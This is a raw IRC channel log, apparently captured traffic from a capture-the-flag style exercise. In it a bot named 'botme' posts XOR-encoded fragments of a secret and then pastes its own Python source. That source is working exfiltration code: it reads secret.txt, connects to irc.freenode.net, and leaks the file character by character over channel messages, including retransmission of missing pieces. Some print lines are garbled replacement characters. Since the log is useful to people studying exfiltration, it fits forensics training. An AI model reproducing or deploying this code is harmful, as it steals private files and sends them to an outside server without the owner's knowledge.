PRIVMSG #spiderman :Master here is 5: PRIVMSG #spiderman :11 PRIVMSG #spiderman :Master here is 49: PRIVMSG #spiderman :65 PRIVMSG #spiderman :Master here is 56: PRIVMSG #spiderman :59 PRIVMSG #spiderman :Master here is 65: PRIVMSG #spiderman :13 PRIVMSG #spiderman :Master here is 27: PRIVMSG #spiderman :18 PRIVMSG #spiderman :Master here is 18: PRIVMSG #spiderman :23 PRIVMSG #spiderman :Master here is 42: PRIVMSG #spiderman :10 PRIVMSG #spiderman :Master here is 16: PRIVMSG #spiderman :107 PRIVMSG #spiderman :Master here is 28: PRIVMSG #spiderman :58 PRIVMSG #spiderman :Master here is 23: PRIVMSG #spiderman :23 PRIVMSG #spiderman :Master here is 13: PRIVMSG #spiderman :40 PRIVMSG #spiderman :Master here is 12: PRIVMSG #spiderman :106 PRIVMSG #spiderman :Master here is 51: PRIVMSG #spiderman :44 PRIVMSG #spiderman :Master here is 37: PRIVMSG #spiderman :65 PRIVMSG #spiderman :Master here is 55: PRIVMSG #spiderman :43 PRIVMSG #spiderman :Master here is 3: PRIVMSG #spiderman :19 PRIVMSG #spiderman :Master here is 40: PRIVMSG #spiderman :21 PRIVMSG #spiderman :Master here is 25: PRIVMSG #spiderman :0 PRIVMSG #spiderman :Master here is 59: PRIVMSG #spiderman :40 PRIVMSG #spiderman :Master here is 14: PRIVMSG #spiderman :68 PRIVMSG #spiderman :Master here is 57: PRIVMSG #spiderman :84 PRIVMSG #spiderman :Master here is 45: PRIVMSG #spiderman :44 PRIVMSG #spiderman :Master here is 64: PRIVMSG #spiderman :4 PRIVMSG #spiderman :Master here is 8: PRIVMSG #spiderman :22 PRIVMSG #spiderman :Master here is 68: PRIVMSG #spiderman :70 PRIVMSG #spiderman :Master here is 50: PRIVMSG #spiderman :1 PRIVMSG #spiderman :Master here is 6: PRIVMSG #spiderman :9 PRIVMSG #spiderman :Master here is 26: PRIVMSG #spiderman :40 PRIVMSG #spiderman :Master here is 35: PRIVMSG #spiderman :10 PRIVMSG #spiderman :Master here is 11: PRIVMSG #spiderman :6 PRIVMSG #spiderman :Master here is 9: PRIVMSG #spiderman :34 PRIVMSG #spiderman :Master here is 41: PRIVMSG #spiderman :15 PRIVMSG #spiderman :Master here is 7: PRIVMSG #spiderman :12 PRIVMSG #spiderman :Master here is 15: PRIVMSG #spiderman :108 PRIVMSG #spiderman :Master here is 2: PRIVMSG #spiderman :17 PRIVMSG #spiderman :Master here is 29:,PRIVMSG #spiderman :60 PRIVMSG #spiderman :Master here is 4: PRIVMSG #spiderman :17 PRIVMSG #spiderman :Master here is 47: PRIVMSG #spiderman :27 PRIVMSG #spiderman :Master here is 44: PRIVMSG #spiderman :18 PRIVMSG #spiderman :Master here is 33:,PRIVMSG #spiderman :42 PRIVMSG #spiderman :Master here is 38: PRIVMSG #spiderman :71 PRIVMSG #spiderman :Master here is 10: PRIVMSG #spiderman :106 PRIVMSG #spiderman :Master here is 34: PRIVMSG #spiderman :27 PRIVMSG #spiderman :Master here is 31: PRIVMSG #spiderman :90 PRIVMSG #spiderman :Master here is 52: PRIVMSG #spiderman :61 PRIVMSG #spiderman :Master here is 66: PRIVMSG #spiderman :0 PRIVMSG #spiderman :Master here is 53: PRIVMSG #spiderman :23 PRIVMSG #spiderman :Master here is 71: PRIVMSG #spiderman :119 PRIVMSG #spiderman :Master here is 69: PRIVMSG #spiderman :30 PRIVMSG #spiderman :Master here is 43: PRIVMSG #spiderman :59 PRIVMSG #spiderman :Master here is 24: PRIVMSG #spiderman :58 PRIVMSG #spiderman :Master here is 22: PRIVMSG #spiderman :23 PRIVMSG #spiderman :Master here is 62: PRIVMSG #spiderman :45 PRIVMSG #spiderman :Master here is 61: PRIVMSG #spiderman :108 PRIVMSG #spiderman :Master here is 46: PRIVMSG #spiderman :13 PRIVMSG #spiderman :Master here is 17: PRIVMSG #spiderman :70 PRIVMSG #spiderman :Master here is 63: PRIVMSG #spiderman :23 PRIVMSG #spiderman :Master here is 58: PRIVMSG #spiderman :111 PRIVMSG #spiderman :Master here is 21: PRIVMSG #spiderman :13 PRIVMSG #spiderman :Master here is 48: PRIVMSG #spiderman :68 PRIVMSG #spiderman :Master here is 70: PRIVMSG #spiderman :92 PRIVMSG #spiderman :Master here is 36: PRIVMSG #spiderman :87 PRIVMSG #spiderman :Master here is 60: PRIVMSG #spiderman :68 PRIVMSG #spiderman :Master here is 19: PRIVMSG #spiderman :58 PRIVMSG #spiderman :Master here is 54: PRIVMSG #spiderman :1 PRIVMSG #spiderman :Master here is 67: PRIVMSG #spiderman :21 PRIVMSG #spiderman :Master here is 30: PRIVMSG #spiderman :87 PRIVMSG #spiderman :Master here is 20: PRIVMSG #spiderman :55 PRIVMSG #spiderman :Master here is 32: PRIVMSG #spiderman :49 PRIVMSG #spiderman :Master here is 39: PRIVMSG #spiderman :65 PRIVMSG #spiderman :Master we lost 1, here it is: PRIVMSG #spiderman :112 PRIVMSG #spiderman :import socket PRIVMSG #spiderman :import sys PRIVMSG #spiderman :import threading PRIVMSG #spiderman :import time PRIVMSG #spiderman :import random PRIVMSG #spiderman :def channel(channel): PRIVMSG #spiderman : if channel.startswith("#") == False: PRIVMSG #spiderman : return "#" + channel PRIVMSG #spiderman : return channel PRIVMSG #spiderman : PRIVMSG #spiderman :def quit(): PRIVMSG #spiderman : client.send_cmd("QUIT", "Good bye!") PRIVMSG #spiderman : PRIVMSG #spiderman :class IRCSimpleClient: PRIVMSG #spiderman : PRIVMSG #spiderman : def __init__(self, username, channel, server="irc.freenode.net", port=6667): PRIVMSG #spiderman : self.username = username PRIVMSG #spiderman : self.server = server PRIVMSG #spiderman : self.port = port PRIVMSG #spiderman : self.channel = channel PRIVMSG #spiderman : PRIVMSG #spiderman : def connect(self): PRIVMSG #spiderman : self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) PRIVMSG #spiderman : self.conn.connect((self.server, self.port)) PRIVMSG #spiderman : PRIVMSG #spiderman : def get_response(self): PRIVMSG #spiderman : return self.conn.recv(512) PRIVMSG #spiderman : PRIVMSG #spiderman : def send_cmd(self, cmd, message): PRIVMSG #spiderman : command = "{} {}\r\n".format(cmd, message) PRIVMSG #spiderman : print(command) PRIVMSG #spiderman : self.conn.send(command.encode()) PRIVMSG #spiderman : PRIVMSG #spiderman : def send_message_to_channel(self, message): PRIVMSG #spiderman : command = "PRIVMSG {}".format(self.channel) PRIVMSG #spiderman : message = ":" + message PRIVMSG #spiderman : self.send_cmd(command, message) PRIVMSG #spiderman : PRIVMSG #spiderman : def join_channel(self): PRIVMSG #spiderman : cmd = "JOIN" PRIVMSG #spiderman : channel = self.channel PRIVMSG #spiderman : self.send_cmd(cmd, channel) PRIVMSG #spiderman : PRIVMSG #spiderman : def part_channel(self): PRIVMSG #spiderman : cmd = "PART" PRIVMSG #spiderman : channel = self.channel PRIVMSG #spiderman : self.send_cmd(cmd, channel) PRIVMSG #spiderman : PRIVMSG #spiderman : def print_response(self): PRIVMSG #spiderman : resp = self.get_response() PRIVMSG #spiderman : if resp: PRIVMSG #spiderman : msg = resp.decode().strip().split(":") PRIVMSG #spiderman : print("\n< {}> {}".format(msg[1].split("!")[0], msg[2].strip())) PRIVMSG #spiderman : PRIVMSG #spiderman :def joinjoin(username , channel): PRIVMSG #spiderman : client = IRCSimpleClient(username, channel) PRIVMSG #spiderman : client.connect() PRIVMSG #spiderman : joined = False PRIVMSG #spiderman : while(joined == False): PRIVMSG #spiderman : resp = client.get_response().decode() PRIVMSG #spiderman : print(resp.strip()) PRIVMSG #spiderman : if "No Ident response" in resp: PRIVMSG #spiderman : client.send_cmd("NICK", username) PRIVMSG #spiderman : client.send_cmd( PRIVMSG #spiderman : "USER", "{} * * :{}".format(username, username)) PRIVMSG #spiderman : PRIVMSG #spiderman : if "376" in resp: PRIVMSG #spiderman : client.join_channel() PRIVMSG #spiderman : PRIVMSG #spiderman : if "433" in resp: PRIVMSG #spiderman : pass PRIVMSG #spiderman : #username = "_" + username PRIVMSG #spiderman : #client.send_cmd("NICK", username) PRIVMSG #spiderman : #client.send_cmd( PRIVMSG #spiderman : #"USER", "{} * * :{}".format(username, username)) PRIVMSG #spiderman : PRIVMSG #spiderman : if "PING" in resp: PRIVMSG #spiderman : client.send_cmd("PONG", ":" + resp.split(":")[1]) PRIVMSG #spiderman : PRIVMSG #spiderman : if "366" in resp: PRIVMSG #spiderman : joined = True PRIVMSG #spiderman : t = threading.Thread(target=client.print_response) PRIVMSG #spiderman : t.start() PRIVMSG #spiderman : return client PRIVMSG #spiderman : PRIVMSG #spiderman :if __name__ == "__main__": PRIVMSG #spiderman : username = "botme" PRIVMSG #spiderman : channel = "#spiderman" PRIVMSG #spiderman : cmd = "" PRIVMSG #spiderman : PRIVMSG #spiderman : PRIVMSG #spiderman : PRIVMSG #spiderman : try: PRIVMSG #spiderman : secret = open("secret.txt").read() PRIVMSG #spiderman : except: PRIVMSG #spiderman : secret = "Did not find secret!" PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : print("������������������������������������������������������������������������������������������") PRIVMSG #spiderman : is_ = [] PRIVMSG #spiderman : range_ = list(range(2,72)) PRIVMSG #spiderman : random.shuffle(range_) PRIVMSG #spiderman : for index in range_: PRIVMSG #spiderman : client = joinjoin(username , channel) PRIVMSG #spiderman : if index > 1: PRIVMSG #spiderman : i = index - 1 PRIVMSG #spiderman : client.send_message_to_channel("Master here is " + str(index) + ":") PRIVMSG #spiderman : client.send_message_to_channel(str(ord(secret[i])^ord(secret[i-1]))) PRIVMSG #spiderman : time.sleep(1) PRIVMSG #spiderman : if index not in is_: PRIVMSG #spiderman : is_.append(index) PRIVMSG #spiderman : PRIVMSG #spiderman : elif index == 1: PRIVMSG #spiderman : client.send_message_to_channel("Master here is " + str(index) + ":") PRIVMSG #spiderman : client.send_message_to_channel(str(ord(secret[0]))) PRIVMSG #spiderman : time.sleep(1) PRIVMSG #spiderman : if index not in is_: PRIVMSG #spiderman : is_.append(index) PRIVMSG #spiderman : quit() PRIVMSG #spiderman : PRIVMSG #spiderman : while(True): PRIVMSG #spiderman : client = joinjoin(username , channel) PRIVMSG #spiderman : resp = client.get_response().decode() PRIVMSG #spiderman : if "quit" in resp: PRIVMSG #spiderman : me = open(sys.argv[0], "r").readlines()[1:-1] PRIVMSG #spiderman : data = [] PRIVMSG #spiderman : is_ = sorted(is_) PRIVMSG #spiderman : if 1 not in is_: PRIVMSG #spiderman : client.send_message_to_channel("Master we lost " + str(1) + ", here it is:") PRIVMSG #spiderman : time.sleep(1) PRIVMSG #spiderman : client.send_message_to_channel(str(ord(secret[0]))) PRIVMSG #spiderman : range_ = list(range(2,72)) PRIVMSG #spiderman : random.shuffle(range_) PRIVMSG #spiderman : for i in range_: PRIVMSG #spiderman : if i not in is_: PRIVMSG #spiderman : client.send_message_to_channel("Master we lost " + str(i) + ", here it is:") PRIVMSG #spiderman : time.sleep(1) PRIVMSG #spiderman : index = i - 1 PRIVMSG #spiderman : client.send_message_to_channel(str(ord(secret[index])^ord(secret[index-1]))) PRIVMSG #spiderman : time.sleep(1) PRIVMSG #spiderman : for l in me: PRIVMSG #spiderman : data.append(l) PRIVMSG #spiderman : for d in data: PRIVMSG #spiderman : client.send_message_to_channel(d) PRIVMSG #spiderman : time.sleep(1) PRIVMSG #spiderman : quit() PRIVMSG #spiderman : exit(0) PRIVMSG #spiderman : PRIVMSG #spiderman :